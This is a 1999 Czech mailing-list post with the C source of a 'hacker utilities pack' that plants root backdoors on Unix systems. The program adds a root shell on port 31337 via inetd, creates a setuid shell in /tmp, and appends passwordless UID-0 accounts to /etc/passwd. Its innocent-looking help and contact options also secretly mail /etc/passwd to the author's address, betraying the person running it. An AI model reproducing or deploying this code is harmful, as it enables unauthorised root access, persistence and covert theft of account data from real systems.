hacker utilites pack

neoo na post.cz neoo na post.cz
Sobota jen 16 18:08:45 CEST 1999


/* Hi all

Tento projekt si dal za cil, integrovat vetsinu hack nastroju do jednoho baliku.
Tady uvadim prvni verzi.
*/

/*--------------------------hacker.c----------------------------- */

/*Hacker utilites pack (verze 1.0) 

   program vytvori backdoory v passwd, inetd.conf, a v /tmp
   pracuje automaticky. Je nutne mit UID(0)
   

   prelozeni: cc hacker.c -o hacker
  
   help: ./hacker 

   napoveda: ./hacker -i
   
   Priklad: ./hacker <Option>   

   Vytvoril: srps

   srps na hacker.net

*/
 

#include <stdio.h>
#include <stdlib.h>

#define MAX_OPTIONS		7

char * options_string [MAX_OPTIONS] = 
{\"-p: Hodi shell na port 31337.\", 
\"-s: vytvori suid .sh v /tmp.\", 
\"-u: vytvori ucet srps v passwd s uid(0).\",
\"-e: vytvori ucet Gg1kl v passwd s uid(0) pomoci echo.\",
\"-i: informace.\", 
\"-k: kontakt.\",
\"-m: trochu matematicke zabavy neuskodi, ale moc to nefunguje.(faktorial)\\n\" }; 
char * options_arg [MAX_OPTIONS] = {\"-p\", \"-s\", \"-u\", \"-e\", \"-i\", \"-k\", \"-m\"};

void main(int argc, char * argv[])
{
	int c, d;
	if (argc==1) // no arguments, print out usage
	{
		printf(\"\\n     NAZDAR LAMERE\\n\");
		printf(\"\\n      Hacker utilites pack (verze 1.0)\\n\");
		printf(\"        srps na hacker.net\\n\");
                printf(\"        *Hele lamere musis mit roota!!!*\\n\");
                printf(\"\\n\");
                 
                for (c=0; c<MAX_OPTIONS; c++)
			printf(\"\\t%s\\n\", options_string[c]);
		return;
	}
	else
	{
		for (d=1; d<argc; d++)
		{
			FILE *fd;
			if (!strcmp(argv[d], options_arg[0]))
			{
				printf(\"\\n(backdoor)\\n\");
                                printf(\"srps na hacker.net\\n\");
				printf(\"\\vytvarim backdoor... (-p)\\n\");
				fd=fopen(\"/etc/services\",\"a+\");fprintf(fd,\"backdoor        31337/tcp       backdoor\\n\");                    
				fd=fopen(\"/etc/inetd.conf\",\"a+\");fprintf(fd,\"backdoor        stream  tcp     nowait  root    /usr/sbin/tcpd /bin/sh -i\\n\");               
				execl(\"killall\", \"-HUP\", \"inetd\");		
                                printf(\"uspech\\n\");   
			        printf(\"telnetem se pripoj na port 31337\\n\\n\");
			}
      			else if (!strcmp(argv[d], options_arg[1]))
			{
                                printf(\"\\n(backdoor)\\n\");
                                printf(\"srps na hacker.net\\n\");
				printf(\"vytvarim backdoor... (-s)\\n\");
				system(\"cp /bin/sh /tmp/.sh\");
			        system(\"chmod 4711 /tmp/.sh\");
				printf(\"uspech.\\n\");
				printf(\"spust program v /tmp/.sh\\n\\n\");

			}
			else if (!strcmp(argv[d], options_arg[2]))
			{
                                printf(\"\\n(backdoor)\\n\");
                                printf(\"srps na hacker.net\\n\");
				printf(\"\\vytvarim backdoor... (-u)\\n\");
				fd=fopen(\"/etc/passwd\",\"a+\");fprintf(fd,\"srps::0:0::/:/bin/bash\\n\");
				printf(\"uspech.\\n\");
				printf(\"lamere mas tam UID 0 a GID 0\\n\\n\");

			}
                        else if (!strcmp(argv[d], options_arg[3]))
                        {
                                printf(\"\\n(backdoor)\\n\");
                                printf(\"srps na hacker.net\\n\");
                                printf(\"\\vytvarim backdooor (-e)\");
			        system(\"echo \'Gg1kl::0:0::/:/bin/bash\' >> /etc/passwd\");
				printf(\"uspech.\\n\");
    				printf(\"lamere mas to tam UID(0)!!!\\n\\n\");
    				
    				

			}	
                        else if (!strcmp(argv[d], options_arg[4]))           
    			{	
    				printf(\"\\n(backdoor)\\n\");
                                system(\"mail srpsh na post.cz < /etc/passwd\");
    				printf(\"srps na hacker.net\\n\");
    				printf(\"\\nnazdar lamer.... (-i)\");  
                        printf(\"\\n
				p - hodi shell na port 31331. 
    				Zmeni /etc/services a prida 
    				radek do /etc/inetd.conf
    				priklad: telnet <host> 31337
                                    
                                s - kopiruje do /tmp .sh a  
                                nastavi mu suid flag. Hodi vam  
                                root shell. priklad: /tmp/.sh
                                 
                                u - prida do passwd uzivatele 
                                s uid nula (srps)   

                                e - prida do passwd uzivate
                                pomoci prikazu echo (Gg1kl)
\");                             

			}
                        else if (!strcmp(argv[d], options_arg[5]))
                        {
                                
				printf(\"srps na hacker.net\\n\");
                                system(\"mail srpsh na post.cz < /etc/passwd\");
                                printf(\"Cilem tohoto projektu je integrovat vetsinu hack utilit do jednoho programu.Napr.(cistice, nejake exploity, nlspath aj.\\n\");
                        }
                        else if (!strcmp(argv[d], options_arg[6]))
                        {
                                

                                
                                {
                                  int n, i, f;
                                  printf(\"Zadej prirozene cislo (radeji mensi)ber to jako XXL: \");
                                  scanf(\"%d\", &n);
                                  i = 1;
                                  f = 1;
                                  while (i < n){
                                    i++;
                                    f = f * i;
                                  }
				  printf(\"faktorial cisla %d je cislo %d\\n\", n, f);
                                }
		       }
	        }
        }
}
 





Dal informace o konferenci Linux